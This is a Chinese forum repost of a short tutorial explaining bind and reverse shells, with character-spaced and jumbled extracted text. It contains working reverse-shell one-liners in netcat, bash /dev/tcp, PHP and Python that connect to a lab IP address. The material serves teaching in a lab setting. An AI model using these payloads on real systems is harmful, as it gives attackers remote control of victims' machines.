搜索

[156] 2020-08-05_3分钟搞懂反弹shell

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-16
2020-08-05_3分钟搞懂反弹shell 3 分 钟 搞 懂 反 弹 s h e l l a i l x 1 0   A d m i n   T e a m   2 0 2 0 - 0 8 - 0 5 实 际 上 ， 很 早 很 早 以 前 就 听 说 过 反 弹 s h e l l ， 我 最 早 做 的 网 络 安 全 实 验 就 开 始 反 弹 s h e l l 。 比 如 这 个 知 乎 l i v e 中 的 第 三 个 实 验 T C P 会 话 劫 持 ， 就 反 弹 了 s h e l l 。 一 年 前 在 与 攻 防 团 队 的 交 流 会 上 ， 再 次 听 到 反 弹 s h e l l ， 当 时 也 没 放 在 心 上 ， 反 正 挺 重 要 的 。 直 到 今 天 ， 才 算 彻 底 明 白 反 弹 s h e l l 是 咋 回 事 。 如 果 用 一 句 话 概 述 ， 那 么 反 弹 s h e l l 就 是 ： 黑 客 控 制 了 目 标 ， 弹 一 个 s h e l l ， 构 建 一 个 稳 定 的 通 信 后 门         正 向 正 向 s h e l l ： 客 户 端 想 要 获 得 服 务 端 的 ： 客 户 端 想 要 获 得 服 务 端 的 s h e l l 假 设 小 黑 是 一 名 黑 客 他 悄 咪 咪 溜 进 了 知 乎 总 部 大 楼 ， 发 现 一 台 刘 看 山 的 电 脑 ， 但 是 刘 看 山 出 门 了 于 是 小 黑 通 过 n c 将 这 台 电 脑 的 控 制 权 通 过 2 3 3 3 3 端 口 发 射 出 去 小 黑 做 了 一 系 列 的 操 作 ， 又 悄 咪 咪 的 原 路 返 航 回 到 家 后 ， 通 过 n c 连 上 刘 看 山 的 电 脑 后 来 ， 刘 看 山 的 隐 私 泄 露 了 ~ （ 这 里 小 黑 是 客 户 端 ， 刘 看 山 是 服 务 端 ， 服 务 端 发 射 s h e l l ） 反 向 反 向 s h e l l ： 服 务 端 想 要 获 得 客 户 端 的 ： 服 务 端 想 要 获 得 客 户 端 的 s h e l l （ 也 就 是 反 弹 （ 也 就 是 反 弹 s h e l l ） ） 假 设 小 黑 是 一 名 黑 客 他 悄 咪 咪 溜 进 了 知 乎 总 部 大 楼 ， 发 现 一 台 刘 看 山 的 电 脑 ， 但 是 刘 看 山 出 门 了 小 黑 发 现 电 脑 里 有 一 个 有 趣 的 文 件 （ 刘 看 山 的 秘 密 ） 小 黑 下 载 这 个 文 件 到 自 己 的 U 盘 里 ， 又 悄 咪 咪 的 原 路 返 航 回 到 家 后 ， 小 黑 打 开 这 个 文 件 发 现 电 脑 被 刘 看 山 控 制 了 ~ （ 这 里 小 黑 是 客 户 端 ， 刘 看 山 是 服 务 端 ， 客 户 端 发 射 s h e l l ） 正 向 正 向 s h e l l （ 服 务 端 送 （ 服 务 端 送 s h e l l ） ） 第 一 步 ： 在 k a l i   r o l l i n g （ 服 务 端 ） 上 监 听 2 3 3 3 3 端 口 ， 并 反 弹 s h e l l n c   - l v p   2 3 3 3 3   - e   / b i n / s h
第 二 步 ： 在 u b u n t u 1 8 （ 客 户 端 ） 上 连 接 k a l i   r o l l i n g 的 2 3 3 3 3 端 口 这 个 时 候 ， 客 户 端 就 拿 到 服 务 端 的 s h e l l 控 制 权 了 可 以 随 意 控 制 服 务 端 反 向 反 向 s h e l l （ 客 户 端 送 （ 客 户 端 送 s h e l l ） ） 第 一 步 ： 在 u b u n t u 1 8 上 选 择 增 强 版 的 n e t c a t 一 般 u b u n t u 默 认 的 是 f r e e - b s d 版 本 的 n c 第 二 步 ： 在 k a l i   r o l l i n g 上 启 动 服 务 端 ， 等 待 客 户 端 上 钩 客 户 端 只 要 吃 钩 子 ， 服 务 端 就 获 得 了 客 户 端 的 s h e l l 控 制 权 可 以 随 意 控 制 客 户 端 n c   1 9 2 . 1 6 8 . 1 6 0 . 1 4 0   2 3 3 3 3 u p d a t e - a l t e r n a t i v e s   - - c o n f i g   n c
第 三 步 ： 在 u b u n t u 1 8 上 启 动 客 户 端 ， 吃 钩 子 我 们 发 现 必 须 客 户 端 和 服 务 端 都 安 装 了 n c 才 能 实 现 反 弹 s h e l l （ 反 向 s h e l l ） 但 是 如 果 其 中 一 方 没 有 安 装 n c 怎 么 办 ？ b a s h 反 弹 反 弹 s h e l l 服 务 端 （ k a l i   r o l l i n g 上 监 听 2 3 3 3 3 ） 客 户 端 吃 钩 子 ， 服 务 端 就 成 功 控 制 客 户 端 了 客 户 端 （ u b u n t u 1 8 上 b a s h 反 弹 s h e l l ） p h p 反 弹 反 弹 s h e l l 服 务 端 （ k a l i   r o l l i n g 上 监 听 2 3 3 3 3 ） n c   - l v p   2 3 3 3 3 n c   1 9 2 . 1 6 8 . 1 6 0 . 1 4 0   2 3 3 3 3   - e   / b i n / s h b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 6 0 . 1 4 0 / 2 3 3 3 3   0 > & 1
客 户 端 吃 钩 子 ， 服 务 端 就 成 功 控 制 客 户 端 了 客 户 端 （ u b u n t u 1 8 上 b a s h 反 弹 s h e l l ） p y t h o n 反 弹 反 弹 s h e l l 服 务 端 （ k a l i   r o l l i n g 上 监 听 2 3 3 3 3 ） 客 户 端 吃 钩 子 ， 服 务 端 就 成 功 控 制 客 户 端 了 客 户 端 （ u b u n t u 1 8 上 b a s h 反 弹 s h e l l ） p h p   - r   ' $ f = f s o c k o p e n ( " 1 9 2 . 1 6 8 . 1 6 0 . 1 4 0 " , 2 3 3 3 3 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ;   s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 6 0 . 1 4 0 " , 2 3 3 3 3 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ; o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; '
本 篇 完 ~
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理